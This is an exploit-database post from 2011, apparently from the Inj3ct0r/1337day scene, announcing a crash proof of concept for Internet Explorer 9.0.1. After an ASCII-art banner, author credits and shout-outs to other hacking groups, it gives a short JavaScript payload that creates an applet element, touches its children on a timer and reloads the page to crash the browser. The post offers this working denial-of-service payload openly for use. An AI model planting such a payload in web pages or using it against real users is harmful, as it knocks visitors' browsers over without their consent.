====================================================== 
 Windows Internet Explorer 9.0.1 Stack Hash/Crash POC
====================================================== 

#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
#0     _                   __           __       __                     1
#1   /' \            __  /'__`\        /\ \__  /'__`\                   0
#0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
#1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
#0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
#1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
#0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
#1                  \ \____/ >> Exploit database separated by exploit   0
#0                   \/___/          type (local, remote, DoS, etc.)    1
#1                                                                      1
#0  [+] Site            : 1337day.com                                   0
#1  [+] Support e-mail  : submit[at]1337day.com                         1
#0                                                                      0
#1                    ####################################              1
#0                    I'm SeeMe  member from Inj3ct0r Team              1
#1                    ####################################              0
#0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[-] Windows Internet Explorer 9.0.1 Stack Hash/Crash POC
[-] Windows Internet Explorer 9 suffers from Stack Hash b894 vulnerability
[-] Vulnerability discovered by SeeMe <jimsalimg@msn.com>
[-] Date : 09/Aug/2011
 
 -- shouts goes to --

~ r0073r (1337day.com), L0rd CruSad3r, Th3 RDX, KnocKout
  Sid3^effects, Gunslinger_, The Explo!ted, Eidelweiss, 
  Exploit-id team, ZoRLu, Indoushka, 
  Dev-PoinT.com Team Specialy anT!-Tr0J4n

 -------END-------

[+] SeeMe WILL BE BACK SOON TO CODE SOME SHIT


~ POC:


<SCRIPT>
  o=document.createElement("applet");
  setTimeout(function () { x=o.children;
    location.reload();
  }, 12);
</SCRIPT>


#_END_